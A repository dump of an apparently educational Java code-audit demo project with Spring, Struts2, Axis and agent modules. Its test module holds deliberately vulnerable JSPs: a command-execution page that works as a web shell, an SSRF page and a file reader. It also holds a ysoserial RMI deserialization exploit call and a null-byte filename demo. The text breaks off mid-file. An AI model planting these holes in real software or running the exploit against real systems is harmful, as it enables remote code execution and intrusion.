├── media └── 15460052300727 │ ├── 0.png │ ├── 1.png │ ├── 10.png │ ├── 11.png │ ├── 12.png │ ├── 13.png │ ├── 14.png │ ├── 15.png │ ├── 16.png │ ├── 17.png │ ├── 18.png │ ├── 19.png │ ├── 2.png │ ├── 20.png │ ├── 21.png │ ├── 22.png │ ├── 23.png │ ├── 24.png │ ├── 25.png │ ├── 26.png │ ├── 27.png │ ├── 28.png │ ├── 29.png │ ├── 3.png │ ├── 30.png │ ├── 31.png │ ├── 32.png │ ├── 4.1.png │ ├── 4.2.png │ ├── 4.png │ ├── 5.png │ ├── 6.png │ ├── 7.png │ ├── 8.png │ ├── 9.png │ ├── 15461886883763.jpg │ ├── 15461890198413.jpg │ ├── 15461893142492.jpg │ ├── 15461904682947.jpg │ ├── 15461913651356.jpg │ └── 15461915044088.jpg ├── javaweb-codereview-axis ├── src │ └── main │ │ ├── webapp │ │ ├── index.jsp │ │ └── WEB-INF │ │ │ ├── log4j.properties │ │ │ ├── web.xml │ │ │ └── server-config.wsdd │ │ └── java │ │ └── org │ │ └── javaweb │ │ └── codereview │ │ └── axis │ │ ├── TestService.java │ │ ├── client │ │ ├── FileService_PortType.java │ │ ├── FileServiceService.java │ │ ├── FileServiceTest.java │ │ ├── FileService.wsdl │ │ ├── FileServiceServiceLocator.java │ │ └── FileServiceSoapBindingStub.java │ │ └── FileService.java └── pom.xml ├── README.md ├── javaweb-codereview-struts2 ├── src │ └── main │ │ ├── webapp │ │ ├── META-INF │ │ │ └── context.xml │ │ ├── index.jsp │ │ └── WEB-INF │ │ │ └── web.xml │ │ ├── resources │ │ └── struts.xml │ │ └── java │ │ └── org │ │ └── javaweb │ │ └── codereview │ │ └── action │ │ ├── TestActionAnnotation.java │ │ └── TestAction.java └── pom.xml ├── javaweb-codereview-spring ├── .mvn │ └── wrapper │ │ ├── maven-wrapper.jar │ │ └── maven-wrapper.properties ├── src │ └── main │ │ ├── resources │ │ ├── templates │ │ │ └── index.html │ │ └── application.properties │ │ └── java │ │ └── org │ │ └── javaweb │ │ └── codereview │ │ ├── service │ │ ├── SysUserService.java │ │ └── impl │ │ │ └── SysUserServiceImpl.java │ │ ├── config │ │ ├── CodeReviewApplication.java │ │ ├── JPAConfig.java │ │ └── FreemarkerTemplateConfig.java │ │ ├── controller │ │ ├── IndexController.java │ │ ├── TestController.java │ │ └── TestRestController.java │ │ ├── repository │ │ └── SysUserRepository.java │ │ └── entity │ │ └── SysUser.java ├── pom.xml ├── mvnw.cmd └── mvnw ├── javaweb-codereview-agent ├── src │ └── main │ │ ├── resources │ │ └── MANIFEST.MF │ │ └── java │ │ └── org │ │ └── javaweb │ │ └── codereview │ │ ├── utils │ │ └── ClassUtils.java │ │ ├── commons │ │ ├── CodeReviewAsm.java │ │ ├── CodeReviewMethodHookVisitor.java │ │ └── CodeReviewMethodHookDesc.java │ │ ├── hook │ │ ├── FileOutputStreamHook.java │ │ ├── FileInputStreamHook.java │ │ └── ExpressionHook.java │ │ └── agent │ │ ├── DefaultTransform.java │ │ └── CodeReviewAgent.java ├── README.md └── pom.xml ├── javaweb-codereview-test ├── src │ └── main │ │ ├── java │ │ ├── org │ │ │ ├── javaweb │ │ │ │ └── codereview │ │ │ │ │ ├── test │ │ │ │ │ ├── ScriptEngineManagerTest.java │ │ │ │ │ ├── MethodHandlesTest.java │ │ │ │ │ └── ReflectionTest.java │ │ │ │ │ ├── rmi │ │ │ │ │ ├── RMITestInterface.java │ │ │ │ │ ├── RMIExploitTest.java │ │ │ │ │ ├── RMITestImpl.java │ │ │ │ │ ├── Test.java │ │ │ │ │ ├── RMITest.java │ │ │ │ │ ├── RMILookupTest.java │ │ │ │ │ └── RMIRegistryTest.java │ │ │ │ │ ├── vuls │ │ │ │ │ └── FileNullBytes.java │ │ │ │ │ ├── filter │ │ │ │ │ └── TestFilter.java │ │ │ │ │ └── servlet │ │ │ │ │ └── TestServlet.java │ │ │ └── apache │ │ │ │ └── jsp │ │ │ │ └── index_jsp.java │ │ └── Test.java │ │ └── webapp │ │ ├── file │ │ ├── file-read2.jsp │ │ └── file-read.jsp │ │ ├── index.jsp │ │ ├── file-upload1.html │ │ ├── file-upload2.html │ │ ├── cmd.jsp │ │ ├── ssrf.jsp │ │ ├── file-upload1.jsp │ │ ├── xxe.jsp │ │ ├── mysql.jsp │ │ ├── WEB-INF │ │ └── web.xml │ │ └── file-upload2.jsp └── pom.xml ├── .gitignore ├── pom.xml └── JavaSecureCodeReview.md /media/15460052300727/0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/0.png -------------------------------------------------------------------------------- /media/15460052300727/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/1.png -------------------------------------------------------------------------------- /media/15460052300727/10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/10.png -------------------------------------------------------------------------------- /media/15460052300727/11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/11.png -------------------------------------------------------------------------------- /media/15460052300727/12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/12.png -------------------------------------------------------------------------------- /media/15460052300727/13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/13.png -------------------------------------------------------------------------------- /media/15460052300727/14.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/14.png -------------------------------------------------------------------------------- /media/15460052300727/15.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/15.png -------------------------------------------------------------------------------- /media/15460052300727/16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/16.png -------------------------------------------------------------------------------- /media/15460052300727/17.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/17.png -------------------------------------------------------------------------------- /media/15460052300727/18.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/18.png -------------------------------------------------------------------------------- /media/15460052300727/19.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/19.png -------------------------------------------------------------------------------- /media/15460052300727/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/2.png -------------------------------------------------------------------------------- /media/15460052300727/20.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/20.png -------------------------------------------------------------------------------- /media/15460052300727/21.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/21.png -------------------------------------------------------------------------------- /media/15460052300727/22.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/22.png -------------------------------------------------------------------------------- /media/15460052300727/23.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/23.png -------------------------------------------------------------------------------- /media/15460052300727/24.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/24.png -------------------------------------------------------------------------------- /media/15460052300727/25.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/25.png -------------------------------------------------------------------------------- /media/15460052300727/26.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/26.png -------------------------------------------------------------------------------- /media/15460052300727/27.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/27.png -------------------------------------------------------------------------------- /media/15460052300727/28.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/28.png -------------------------------------------------------------------------------- /media/15460052300727/29.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/29.png -------------------------------------------------------------------------------- /media/15460052300727/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/3.png -------------------------------------------------------------------------------- /media/15460052300727/30.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/30.png -------------------------------------------------------------------------------- /media/15460052300727/31.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/31.png -------------------------------------------------------------------------------- /media/15460052300727/32.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/32.png -------------------------------------------------------------------------------- /media/15460052300727/4.1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/4.1.png -------------------------------------------------------------------------------- /media/15460052300727/4.2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/4.2.png -------------------------------------------------------------------------------- /media/15460052300727/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/4.png -------------------------------------------------------------------------------- /media/15460052300727/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/5.png -------------------------------------------------------------------------------- /media/15460052300727/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/6.png -------------------------------------------------------------------------------- /media/15460052300727/7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/7.png -------------------------------------------------------------------------------- /media/15460052300727/8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/8.png -------------------------------------------------------------------------------- /media/15460052300727/9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/9.png -------------------------------------------------------------------------------- /javaweb-codereview-axis/src/main/webapp/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Hello World!

4 | 5 | 6 | -------------------------------------------------------------------------------- /media/15460052300727/15461886883763.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/15461886883763.jpg -------------------------------------------------------------------------------- /media/15460052300727/15461890198413.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/15461890198413.jpg -------------------------------------------------------------------------------- /media/15460052300727/15461893142492.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/15461893142492.jpg -------------------------------------------------------------------------------- /media/15460052300727/15461904682947.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/15461904682947.jpg -------------------------------------------------------------------------------- /media/15460052300727/15461913651356.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/15461913651356.jpg -------------------------------------------------------------------------------- /media/15460052300727/15461915044088.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/media/15460052300727/15461915044088.jpg -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # javaweb-codereview 2 | 3 | `javaweb-codereview`项目是一个演示java代码审计的示例程序,分为多个模块复现各大类常见漏洞的。 4 | 5 | 文章地址: [Java Web安全-代码审计](JavaSecureCodeReview.md) -------------------------------------------------------------------------------- /javaweb-codereview-struts2/src/main/webapp/META-INF/context.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /javaweb-codereview-spring/.mvn/wrapper/maven-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iiiusky/javaweb-codereview/HEAD/javaweb-codereview-spring/.mvn/wrapper/maven-wrapper.jar -------------------------------------------------------------------------------- /javaweb-codereview-spring/.mvn/wrapper/maven-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.5.4/apache-maven-3.5.4-bin.zip 2 | -------------------------------------------------------------------------------- /javaweb-codereview-spring/src/main/resources/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Title 6 | 7 | 8 | Hello World~ 9 | 10 | -------------------------------------------------------------------------------- /javaweb-codereview-agent/src/main/resources/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Premain-Class: org.javaweb.codereview.agent.CodeReviewAgent 3 | Can-Retransform-Classes: true 4 | Can-Redefine-Classes: true 5 | Can-Set-Native-Method-Prefix: true 6 | -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/java/org/javaweb/codereview/test/ScriptEngineManagerTest.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.test; 2 | 3 | /** 4 | * @author yz 5 | */ 6 | public class ScriptEngineManagerTest { 7 | 8 | public static void main(String[] args) { 9 | 10 | } 11 | 12 | } 13 | -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/java/org/javaweb/codereview/rmi/RMITestInterface.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.rmi; 2 | 3 | import java.rmi.Remote; 4 | import java.rmi.RemoteException; 5 | 6 | public interface RMITestInterface extends Remote { 7 | 8 | String test(String str) throws RemoteException; 9 | 10 | } -------------------------------------------------------------------------------- /javaweb-codereview-agent/README.md: -------------------------------------------------------------------------------- 1 | # javaweb-codereview-agent 2 | 3 | `javaweb-codereview-agent`项目在[安百-灵蜥Java Agent项目](http://lx.anbai.com)的基础上做了大量功能删减,只保留了其中关于文件和表达式的部分Hook。 4 | 5 | **注意:** 6 | 7 | 1. Java文件读写仅Hook了非NIO的`java.io.FileInputStream`和`java.io.FileOutputStream`这两个类,并非整个文件系统的读写事件,如有需要请自行Hook。 8 | 2. 表达式执行只包括了:`SpEL`、`OGNL`、`MVEL2`。 -------------------------------------------------------------------------------- /javaweb-codereview-axis/src/main/webapp/WEB-INF/log4j.properties: -------------------------------------------------------------------------------- 1 | #loggers list 2 | log4j.rootLogger=WARN,stdout 3 | 4 | #console 5 | log4j.appender.stdout=org.apache.log4j.ConsoleAppender 6 | log4j.appender.stdout.layout=org.apache.log4j.PatternLayout 7 | log4j.appender.stdout.layout.ConversionPattern=%d{HH:mm:ss,SSS} [%t] %-5p %c.%M(%L) - %m%n 8 | -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/webapp/file/file-read2.jsp: -------------------------------------------------------------------------------- 1 | <%--<%--%> 2 | <%--java.net.URI uri = new java.net.URI(request.getParameter("path"));--%> 3 | <%--java.nio.file.Path path = java.nio.file.Paths.get(uri);--%> 4 | <%--String str = new String(java.nio.file.Files.readAllBytes(path));--%> 5 | <%--out.println(str);--%> 6 | <%--%>--%> -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/java/Test.java: -------------------------------------------------------------------------------- 1 | /** 2 | * @author yz 3 | */ 4 | public class Test { 5 | 6 | public static void hello() { 7 | System.out.println("Hello~"); 8 | } 9 | 10 | public void world() { 11 | System.out.println("World!"); 12 | } 13 | 14 | public static void main(String[] args) { 15 | hello(); 16 | } 17 | 18 | } 19 | -------------------------------------------------------------------------------- /javaweb-codereview-spring/src/main/java/org/javaweb/codereview/service/SysUserService.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.service; 2 | 3 | import org.javaweb.codereview.entity.SysUser; 4 | 5 | /** 6 | * @author yz 7 | */ 8 | public interface SysUserService { 9 | 10 | SysUser findByUserId(String userId); 11 | 12 | SysUser addUser(SysUser sysUser); 13 | 14 | } 15 | -------------------------------------------------------------------------------- /javaweb-codereview-axis/src/main/java/org/javaweb/codereview/axis/TestService.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.axis; 2 | 3 | /** 4 | * @author yz 5 | */ 6 | public class TestService { 7 | 8 | public String hello(String str) { 9 | System.out.println(str); 10 | return "Hello World!"; 11 | } 12 | 13 | public String hi(String str) { 14 | return str; 15 | } 16 | 17 | } 18 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /target/ 2 | !.mvn/wrapper/maven-wrapper.jar 3 | 4 | ### STS ### 5 | .apt_generated 6 | .classpath 7 | .factorypath 8 | .project 9 | .settings 10 | .springBeans 11 | .sts4-cache 12 | 13 | ### IntelliJ IDEA ### 14 | .idea 15 | *.iws 16 | *.iml 17 | *.ipr 18 | 19 | ### NetBeans ### 20 | /nbproject/private/ 21 | /build/ 22 | /nbbuild/ 23 | /dist/ 24 | /nbdist/ 25 | /.nb-gradle/ 26 | dependency-reduced-pom.xml -------------------------------------------------------------------------------- /javaweb-codereview-struts2/src/main/webapp/index.jsp: -------------------------------------------------------------------------------- 1 | <%@page contentType="text/html" pageEncoding="UTF-8" %> 2 | 4 | 5 | 6 | 7 | 8 | JSP Page 9 | 10 | 11 | Hello World~ 12 | 13 | 14 | -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/java/org/javaweb/codereview/rmi/RMIExploitTest.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.rmi; 2 | 3 | import ysoserial.exploit.RMIRegistryExploit; 4 | 5 | /** 6 | * @author yz 7 | */ 8 | public class RMIExploitTest { 9 | 10 | public static void main(String[] args) throws Exception { 11 | RMIRegistryExploit.main(new String[]{ 12 | "127.0.0.1", "1099", "CommonsCollections1", "curl localhost:9000" 13 | }); 14 | } 15 | 16 | } 17 | -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/webapp/index.jsp: -------------------------------------------------------------------------------- 1 | <%="Hello World."%> 2 |
3 | <%=request.getParameter("password")%> 4 |
5 | <%! 6 | boolean login(String password) { 7 | return "023".equals(password); 8 | } 9 | %> 10 | 11 | <% 12 | String password = request.getParameter("password"); 13 | 14 | out.println(password); 15 | 16 | if (login(password)) { 17 | out.println("Hello"); 18 | } else { 19 | out.println("World~"); 20 | } 21 | %> 22 | -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/webapp/file-upload1.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | File upload 6 | 7 | 8 |
9 | 10 | 用户名: 11 | 12 |
13 | 14 |
15 | 16 | -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/webapp/file-upload2.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | File upload 6 | 7 | 8 |
9 | 10 | 用户名: 11 | 12 |
13 | 14 |
15 | 16 | -------------------------------------------------------------------------------- /javaweb-codereview-spring/src/main/java/org/javaweb/codereview/config/CodeReviewApplication.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.config; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | 7 | @SpringBootApplication(scanBasePackages = "org.javaweb.codereview.*") 8 | public class CodeReviewApplication { 9 | 10 | public static void main(String[] args) { 11 | SpringApplication.run(CodeReviewApplication.class, args); 12 | } 13 | 14 | } 15 | 16 | -------------------------------------------------------------------------------- /javaweb-codereview-spring/src/main/java/org/javaweb/codereview/controller/IndexController.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.controller; 2 | 3 | import org.javaweb.codereview.service.SysUserService; 4 | import org.springframework.stereotype.Controller; 5 | import org.springframework.web.bind.annotation.RequestMapping; 6 | 7 | import javax.annotation.Resource; 8 | 9 | @Controller 10 | public class IndexController { 11 | 12 | @RequestMapping("/index.php") 13 | public String index() { 14 | return "/index.html"; 15 | } 16 | 17 | } 18 | -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/java/org/javaweb/codereview/rmi/RMITestImpl.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.rmi; 2 | 3 | import java.rmi.RemoteException; 4 | import java.rmi.server.UnicastRemoteObject; 5 | 6 | public class RMITestImpl extends UnicastRemoteObject implements RMITestInterface { 7 | 8 | private static final long serialVersionUID = 1L; 9 | 10 | protected RMITestImpl() throws RemoteException { 11 | super(); 12 | } 13 | 14 | public String test(String str) { 15 | System.out.println(str); 16 | 17 | return "Hello RMI."; 18 | } 19 | 20 | } -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/webapp/cmd.jsp: -------------------------------------------------------------------------------- 1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 2 | <%@ page import="java.io.InputStream" %> 3 |
 4 | <%
 5 |     String[] cmd = request.getParameterValues("cmd");
 6 |     Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
 7 |     InputStream in = process.getInputStream();
 8 |     int a = 0;
 9 |     byte[] b = new byte[1024];
10 | 
11 |     while ((a = in.read(b)) != -1) {
12 |         out.println(new String(b, 0, a));
13 |     }
14 | 
15 |     in.close();
16 | %>
17 | 
-------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/webapp/ssrf.jsp: -------------------------------------------------------------------------------- 1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 2 | <%@ page import="org.apache.commons.io.IOUtils" %> 3 | <%@ page import="java.net.HttpURLConnection" %> 4 | <%@ page import="java.net.URL" %> 5 | <% 6 | URL url = new URL(request.getParameter("url")); 7 | HttpURLConnection connection = (HttpURLConnection) url.openConnection(); 8 | out.println(IOUtils.toString(connection.getInputStream(), "UTF-8")); 9 | out.flush(); 10 | out.close(); 11 | 12 | connection.disconnect(); 13 | %> -------------------------------------------------------------------------------- /javaweb-codereview-agent/src/main/java/org/javaweb/codereview/utils/ClassUtils.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.utils; 2 | 3 | /** 4 | * @author yz 5 | */ 6 | public class ClassUtils { 7 | 8 | /** 9 | * 打印调用链信息 10 | */ 11 | public static void printStackTrace() { 12 | StackTraceElement[] elements = Thread.currentThread().getStackTrace(); 13 | 14 | for (StackTraceElement element : elements) { 15 | System.err.println(element); 16 | } 17 | 18 | System.err.println("--------------------------------------------------------------------------"); 19 | } 20 | 21 | } 22 | -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/java/org/javaweb/codereview/rmi/Test.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.rmi; 2 | 3 | import java.rmi.Naming; 4 | 5 | public class Test { 6 | 7 | public static void main(String[] args) { 8 | try { 9 | int port = 8001; 10 | String url = "rmi://192.168.0.104:" + port + "/test"; 11 | 12 | RMITestInterface rt = (RMITestInterface) Naming.lookup(url); 13 | 14 | String result = rt.test("Hello World~");// 调用远程方法 15 | 16 | System.out.println(result); 17 | } catch (Exception e) { 18 | e.printStackTrace(); 19 | } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /javaweb-codereview-axis/src/main/java/org/javaweb/codereview/axis/client/FileService_PortType.java: -------------------------------------------------------------------------------- 1 | /** 2 | * FileService_PortType.java 3 | *

4 | * This file was auto-generated from WSDL 5 | * by the Apache Axis 1.4 Apr 22, 2006 (06:55:48 PDT) WSDL2Java emitter. 6 | */ 7 | 8 | package org.javaweb.codereview.axis.client; 9 | 10 | public interface FileService_PortType extends java.rmi.Remote { 11 | 12 | public java.lang.String readFile(java.lang.String path) throws java.rmi.RemoteException; 13 | 14 | public java.lang.String writeFile(java.lang.String path, java.lang.String content) throws java.rmi.RemoteException; 15 | } 16 | -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/webapp/file-upload1.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="org.apache.commons.io.IOUtils" %> 2 | <%@ page import="java.util.Collection" %> 3 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 4 | <% 5 | out.println("123"); 6 | Collection parts = request.getParts(); 7 | 8 | for (Part part : parts) { 9 | if (part.getSubmittedFileName() != null) { 10 | out.println(part.getName() + ":" + part.getSubmittedFileName() + "
"); 11 | } else { 12 | out.println(part.getName() + ":" + IOUtils.toString(part.getInputStream()) + "
"); 13 | } 14 | } 15 | %> -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/java/org/javaweb/codereview/vuls/FileNullBytes.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.vuls; 2 | 3 | import java.io.File; 4 | import java.io.FileOutputStream; 5 | import java.io.IOException; 6 | 7 | /** 8 | * @author yz 9 | */ 10 | public class FileNullBytes { 11 | 12 | public static void main(String[] args) { 13 | try { 14 | String fileName = "/tmp/null-bytes.txt\u0000.jpg"; 15 | FileOutputStream fos = new FileOutputStream(new File(fileName)); 16 | fos.write("Test".getBytes()); 17 | fos.flush(); 18 | fos.close(); 19 | } catch (IOException e) { 20 | e.printStackTrace(); 21 | } 22 | } 23 | 24 | } 25 | -------------------------------------------------------------------------------- /javaweb-codereview-spring/src/main/java/org/javaweb/codereview/repository/SysUserRepository.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.repository; 2 | 3 | import org.javaweb.codereview.entity.SysUser; 4 | import org.springframework.data.jpa.repository.JpaRepository; 5 | import org.springframework.data.jpa.repository.JpaSpecificationExecutor; 6 | import org.springframework.data.repository.PagingAndSortingRepository; 7 | import org.springframework.stereotype.Repository; 8 | 9 | /** 10 | * @author yz 11 | */ 12 | @Repository 13 | public interface SysUserRepository extends JpaRepository, 14 | PagingAndSortingRepository, JpaSpecificationExecutor { 15 | 16 | 17 | } 18 | -------------------------------------------------------------------------------- /javaweb-codereview-spring/src/main/java/org/javaweb/codereview/config/JPAConfig.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.config; 2 | 3 | import org.springframework.boot.autoconfigure.domain.EntityScan; 4 | import org.springframework.context.annotation.Configuration; 5 | import org.springframework.data.jpa.repository.config.EnableJpaRepositories; 6 | import org.springframework.transaction.annotation.EnableTransactionManagement; 7 | 8 | /** 9 | * Created by yz on 2017/4/7. 10 | */ 11 | @Configuration 12 | @EnableTransactionManagement 13 | @EntityScan(basePackages = "org.javaweb.codereview.entity") 14 | @EnableJpaRepositories(basePackages = "org.javaweb.codereview.repository") 15 | public class JPAConfig { 16 | 17 | } -------------------------------------------------------------------------------- /javaweb-codereview-spring/src/main/java/org/javaweb/codereview/controller/TestController.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.controller; 2 | 3 | import org.springframework.web.servlet.ModelAndView; 4 | import org.springframework.web.servlet.mvc.Controller; 5 | 6 | import javax.servlet.http.HttpServletRequest; 7 | import javax.servlet.http.HttpServletResponse; 8 | 9 | /** 10 | * @author yz 11 | */ 12 | public class TestController implements Controller { 13 | 14 | @Override 15 | public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { 16 | ModelAndView mv = new ModelAndView(); 17 | mv.setViewName("index"); 18 | 19 | return mv; 20 | } 21 | 22 | } 23 | -------------------------------------------------------------------------------- /javaweb-codereview-struts2/src/main/resources/struts.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | index.jsp 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/java/org/javaweb/codereview/rmi/RMITest.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.rmi; 2 | 3 | import java.rmi.Naming; 4 | import java.rmi.registry.LocateRegistry; 5 | import java.util.logging.Logger; 6 | 7 | public class RMITest { 8 | 9 | private static final Logger LOG = Logger.getLogger("info"); 10 | 11 | public static void main(String[] args) { 12 | try { 13 | int port = 8001; 14 | String url = "rmi://192.168.0.104:" + port + "/test"; 15 | LocateRegistry.createRegistry(port); 16 | 17 | // 绑定Remote对象 18 | Naming.bind(url, new RMITestImpl()); 19 | 20 | LOG.info("RMI服务启动成功,服务地址:" + url); 21 | } catch (Exception e) { 22 | e.printStackTrace(); 23 | } 24 | } 25 | 26 | } -------------------------------------------------------------------------------- /javaweb-codereview-axis/src/main/java/org/javaweb/codereview/axis/client/FileServiceService.java: -------------------------------------------------------------------------------- 1 | /** 2 | * FileServiceService.java 3 | *

4 | * This file was auto-generated from WSDL 5 | * by the Apache Axis 1.4 Apr 22, 2006 (06:55:48 PDT) WSDL2Java emitter. 6 | */ 7 | 8 | package org.javaweb.codereview.axis.client; 9 | 10 | public interface FileServiceService extends javax.xml.rpc.Service { 11 | 12 | public java.lang.String getFileServiceAddress(); 13 | 14 | public org.javaweb.codereview.axis.client.FileService_PortType getFileService() throws javax.xml.rpc.ServiceException; 15 | 16 | public org.javaweb.codereview.axis.client.FileService_PortType getFileService(java.net.URL portAddress) throws javax.xml.rpc.ServiceException; 17 | } 18 | -------------------------------------------------------------------------------- /javaweb-codereview-test/src/main/java/org/javaweb/codereview/rmi/RMILookupTest.java: -------------------------------------------------------------------------------- 1 | package org.javaweb.codereview.rmi; 2 | 3 | import sun.rmi.registry.RegistryImpl_Stub; 4 | 5 | import java.net.MalformedURLException; 6 | import java.rmi.Naming; 7 | import java.rmi.NotBoundException; 8 | import java.rmi.RemoteException; 9 | 10 | /** 11 | * @author yz 12 | */ 13 | public class RMILookupTest { 14 | 15 | public static 